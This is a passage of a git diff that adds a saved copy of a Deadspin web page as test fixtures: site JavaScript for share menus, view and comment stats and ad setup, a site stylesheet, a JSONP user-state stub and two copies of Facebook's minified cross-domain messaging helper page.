+ jQuery.cookie('____GCV', cookieValue, {expires: 365, path: '/', domain: parts[1]});
+ location.href = newUrl;
+ e.stopPropagation();
+ e.preventDefault();
+ } );
+ jQuery( '#switch_blogview' ).attr('title', 'Switch to top stories view' );
+ };
+
+ var initTrackers = function() {
+ var tracker_params = {};
+ if( window.originalPostId !== undefined ) {
+ tracker_params.post_id = window.originalPostId;
+ }
+ else if (window.postId !== undefined) {
+ tracker_params.post_id = window.postId;
+ } else {
+ tracker_params.post_id = 'SITE:' + siteConfig.id;
+ }
+ trackers.reload(tracker_params);
+ };
+
+ var setupShareMenus = function() {
+ if ( jQuery('.share').length ) {
+ var fade;
+
+ jQuery('.share_button').click( function( e ) {
+ e.stopPropagation();
+ e.preventDefault();
+ var shareMenu = jQuery( e.target ).next( '.share_menu' );
+ shareMenu.fadeIn(100);
+ shareMenu.bind( "clickoutside", function() { shareMenu.hide(); } );
+ enableGooglePlusButton(shareMenu);
+ });
+ jQuery('.share_menu .heading span').click( function( e ) {
+ e.stopPropagation();
+ e.preventDefault();
+ jQuery( e.target ).parents( '.share_menu' ).hide();
+ });
+ }
+
+ };
+
+ var enableGooglePlusButton = function(shareMenu) {
+ var gplusDiv = shareMenu.find('.gplus');
+ var gplusUrl = gplusDiv.data('href');
+ var gplusEnabled = (gplusDiv.data('on') == 'true');
+ if((gplusDiv.length == 1) && gplusUrl && !gplusEnabled) {
+ gplusDiv.html('<g:plusone size="medium" href="' + gplusUrl + '"></g:plusone>');
+ gplusDiv.data('on','true');
+ window.gapi.load('googleapis.client:plusone', {'callback': window['__bsld'] });
+ }
+ }
+
+ var setupRightMargin = function() {
+ var imgs = jQuery('.v10_medium, .video_300');
+ var adp = jQuery('.post-supp');
+
+ if (imgs.length > 0 && adp.length > 0) {
+ var lowerp = adp.offset().top + adp.height(); // the bottom edge of the meta/adunit
+
+ imgs.each(function () {
+ var currentimage = jQuery(this);
+ if (currentimage.offset().top > lowerp) {
+ /* if the image is NOT next to the ad unit, give it back its margin */
+ if (!currentimage.hasClass('right')) {
+ currentimage.css('margin-right', '40px');
+ }
+ }
+ });
+ }
+ };
+
+ var blogView = {
+
+ spongesettings: {'retries': 20, 'interval': 1},
+
+ spongestats: null,
+
+ getStatlessPostUrls: function() {
+ var urls = [], post;
+ var posts = jQuery('#page > .post, #content > .post');
+ for (var i = 0, l = posts.length; i < l; i++ ) {
+ post = posts.eq(i);
+ if (post.data('postid') > 0 && post.data('statready') != true && (post.data('spongetries') === undefined || post.data('spongetries') < this.spongesettings.retries)) {
+ urls.push(post.data('permalink'));
+ }
+ }
+ return urls;
+ },
+
+ loadSpongeStats: function () {
+ //load urls that don't have their stats filled out yet
+ var urls = this.getStatlessPostUrls();
+ if (typeof sponge_client !== 'undefined' && GawkerClientside.widgets.spongestatsclient !== undefined) { //global config
+ if (!this.spongestats) {
+ //initialize the spongestatsclient widget
+ this.spongestats = GawkerClientside.widgets.spongestatsclient[0];
+ }
+ //pass the url this and this.insertSpongeStatsResults as callback
+ this.spongestats.getStats(urls, this, this.insertSpongeStatsResults);
+ }
+ },
+
+ insertSpongeStatsResults: function(response) {
+
+ //mark this request as ready
+ this.spongestats.requests_running--;
+
+ var i, l, data, post, ready, tries, title;
+ //do nothing if the response contains no data at all
+ if (response.data === undefined) {
+ return false;
+ }
+
+ var posts = jQuery('#page > .post, #content > .post');
+
+ //iterate through the posts in the post lists
+ for (i = 0, l = posts.length; i < l; i++ ) {
+ post = posts.eq(i);
+ data = response.data[post.data('permalink')];
+ //check if we have new data relevant to this post
+ if (data !== undefined) {
+
+ if(post.hasClass('top')) {
+ views_html = post.find('.data .total_views');
+ views_showhide = post.find('.data .nothing');
+ comments_html = post.find('.data .comments');
+ comments_showhide = post.find('.data .nothing');
+ alt_and_title = post.find('.data');
+ } else {
+ views_html = post.find('.views span');
+ views_showhide = post.find('.views');
+ comments_html = post.find('.comments span');
+ comments_showhide = post.find('.comments');
+ alt_and_title = post.find('.views, .comments');
+ }
+
+ ready = true;
+ title = [];
+ tries = post.data('spongetries') > 0 ? post.data('spongetries') + 1 : 1;
+
+ //check if we have view stats returned
+ if (data.views !== undefined && data.views.ready == true) {
+ views_html.html(gawker_add_commas(data.views.totalViews));
+ title.push(data.views.totalViews + ' pageviews, ' + data.views.totalUniqueViews + ' visitors');
+ views_showhide.show();
+ } else {
+ ready = false;
+ }
+
+ //check if we have comment stats returned
+ if (data.comments !== undefined && data.comments.ready == true) {
+ comments_html.html(gawker_add_commas(data.comments.numComments));
+ title.push(data.comments.numComments + ' comments');
+ comments_showhide.show();
+ } else {
+ ready = false;
+ }
+
+ //set ready and refresh status for this post
+ post.data('statready', ready);
+ alt_and_title.attr('title', title.join(', '));
+ alt_and_title.attr('alt', title.join(', '));
+
+ //count the tries, don't try to load data endlessly
+ if(ready === false) {
+ post.data('spongetries', (post.data('spongetries') === undefined ? 1 : Math.floor(post.data('spongetries')) + 1));
+ }
+ }
+ }
+
+ //if no requests are running and there are still posts with no data, let's refresh them in 2 seconds
+ if((this.spongestats.requests_running == 0) && (this.getStatlessPostUrls().length > 0)) {
+ setTimeout(jQuery.proxy(this.loadSpongeStats, this), (this.spongesettings.interval * 1000));
+ }
+ }
+ };
+
+ jQuery( document ).ready( function() {
+ var rePrettyScrollbarSupport = /Mac OS X 10_([0-9_]+)/,
+ prettyScrollbarSupport = navigator.userAgent.match(rePrettyScrollbarSupport),
+ osVersion;
+ if (prettyScrollbarSupport && prettyScrollbarSupport.length == 2) {
+ osVersion = parseInt(prettyScrollbarSupport[1].split('_')[0]);
+ if (!isNaN(osVersion) && osVersion >= 7 && navigator.userAgent.toLowerCase().indexOf('webkit')) {
+ jQuery('html').addClass('pretty-scrollbars');
+ jQuery(".scrollwrap").mouseenter(function(){jQuery("#hidescroll").fadeOut(100);});
+ jQuery(".scrollwrap").mouseleave(function(){jQuery("#hidescroll").fadeIn(500);});
+ }
+ }
+ // rightbar should default to static
+ var rightbarStatic = jQuery.cookie('gawkermedia_rightbar') == 'staticstyle' || jQuery.cookie('gawkermedia_rightbar') == null;
+ // set or unset class controlling rightbar scrolling based on cookie presence
+ jQuery('body').toggleClass('rightbar-no-scroll', rightbarStatic);
+ setupWidgets();
+ setupMainContent();
+ setupFacebook();
+ setupShareMenus();
+
+ if( window.checkHashForErrors !== undefined ) {
+ window.checkHashForErrors();
+ }
+
+ if(jQuery('body.classic_frontpage, body.adlist.legacy, body.adlist.modern').length > 0) {
+ blogView.loadSpongeStats();
+ }
+
+ addBlogviewHandler();
+ initTrackers();
+ //setupRightMargin();
+
+ // start lytebox plugin
+ jQuery(document).lytebox();
+
+ //uncomment this to enable the autoplay feature
+ //bindAutoplayEvent();
+ if (window.post && window.post.tags) {
+ adRobot.initAdsense(window.google_hints, window.post.tags);
+ } else {
+ adRobot.initAdsense(window.google_hints);
+ }
+
+ //remove alt and title from fb avatars
+ jQuery('.fb_profile_pic_rendered img').live("mouseenter", function() {
+ jQuery(this).removeAttr('alt');
+ jQuery(this).removeAttr('title');
+ });
+
+ } );
+ })();
diff --git a/src/test/resources/s/deadspin_files/static.css b/src/test/resources/s/deadspin_files/static.css
new file mode 100644
index 0000000..1a68df6
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/static.css
@@ -0,0 +1,90 @@
+/* site specific stuff -- deadspin */
+.site-forecolor,
+.ui-dropdown ul li a,
+#thread_navigation ul,
+#live_interview .entry.interviewee .entry_header a,
+a { color: #0B7B70; }
+
+#page .share_menu ul li a { color: #0F4561 !important; }
+
+#rightbar .timestamp.highlight{ color: #0F4561 !important;}
+#rightbar .date.highlight{ color: #0F4561 !important;}
+
+#frontpage {
+ background: url("../img/logo-deadspin.png") no-repeat scroll left top transparent;
+ height: 50px;
+ left: 8px;
+ top: -7px;
+ width: 338px;
+ background-size: 338px 50px;
+}
+
+.tagpage #frontpage {
+ background: transparent url("../img/logo-tagpage.png") 12px -2px no-repeat;
+ height:35px;
+ width:187px;
+ background-size: 175px 37px;
+}
+
+/* retina logos */
+ at media screen and (-webkit-min-device-pixel-ratio: 2) {
+
+ #frontpage {
+ background-image: url('../img/logo-deadspin at 2x.png');
+ }
+
+ .tagpage #frontpage {
+ background-image: url('../img/logo-tagpage at 2x.png');
+ }
+
+}
+
+/* OPEN DESIGN PER SITE STYLES */
+
+#site.marked-head, #rightbar-header.marked-head { background-color: #0F456E; border-color: #0F456E !important; }
+#site.marked-head a, #site.marked-head, #rightbar-header.marked-head .date { color: #fff; }
+
+.marked-head { background-color: #F2F4F7;border-color: #0B7B70; }
+
+.tagpage #site.marked-head { background-color: #0B7B70;border-color: #0B7B70 !important; }
+.tagpage #switch_view li a{ color:#fff;background-color:transparent;border-color:transparent;}
+
+.ui-shade { background-color: #F2F4F7 !important; }
+
+.ad-shade { background-color: #ebedf4 !important; }
+
+.ui-border { border-color: #0B7B70 !important; }
+.ui-background { background-color: #0B7B70 !important; }
+.threadbullet { background-color: #4f778b; }
+
+.ui-border-light { border-color: #f0f0f0 !important; }
+.ui-light, .ui-light a { color: #c0c0c8 !important; }
+ .ui-shade .ui-light, .ui-shade .ui-light a,
+ .ui-shade.ui-light, .ui-shade.ui-light a { color: #52576E !important; }
+
+
+.site-bg-color,
+li.selected a,
+.classic_frontpage .post.sponsored .taglink,
+#thread_navigation a.selected {
+ background-color: #0B7B70;
+ border-color: #0B7B70;
+ color: #fff;
+}
+
+#thumbList .thumb.current { border-color: #0F4561; }
+
+.post-body li, ul.related li { list-style-image: url('../img/bullet.png'); }
+
+.airport.views.highlight { background-image: url("../img/icon-flame.png") !important; }
+.airport.comments.highlight { background-image: url("../img/icon-comment.png") !important; }
+
+.post-supp .post-meta #author-menu li span,
+.post-supp .post-meta #author-menu a { color: #0F4561 !important;}
+
+#tomorrowsnews span { padding-top: 105px; }
+#tomorrowsnews { background-color: #F2F4F7; }
+
+.social .fb_iframe_widget {
+ top: -5px;
+}
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/track.php b/src/test/resources/s/deadspin_files/track.php
new file mode 100644
index 0000000..f725194
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/track.php
@@ -0,0 +1 @@
+// Javascript Document
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/userstate b/src/test/resources/s/deadspin_files/userstate
new file mode 100644
index 0000000..822cd35
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/userstate
@@ -0,0 +1 @@
+getUserState222096({"data":{"session":"5bb47161-6a20-453f-8008-36bc85d6cc6e","loggedIn":false,"user":{}},"meta":{"method":"userstate","success":true,"type":"single"}})
diff --git a/src/test/resources/s/deadspin_files/xd_arbiter(1).htm b/src/test/resources/s/deadspin_files/xd_arbiter(1).htm
new file mode 100644
index 0000000..901e4b4
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/xd_arbiter(1).htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<!-- saved from url=(0177)https://s-static.ak.facebook.com/connect/xd_arbiter.php?version=18#channel=f373b087ec&origin=http%3A%2F%2Fdeadspin.com&channel_path=%2F%3Ffb_xd_fragment%23xd_sig%3Df1427ee4d4%26 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/xd_arbiter.htm b/src/test/resources/s/deadspin_files/xd_arbiter.htm
new file mode 100644
index 0000000..f6caef6
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/xd_arbiter.htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<!-- saved from url=(0174)http://static.ak.facebook.com/connect/xd_arbiter.php?version=18#channel=f373b087ec&origin=http%3A%2F%2Fdeadspin.com&channel_path=%2F%3Ffb_xd_fragment%23xd_sig%3Df1427ee4d4%26 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
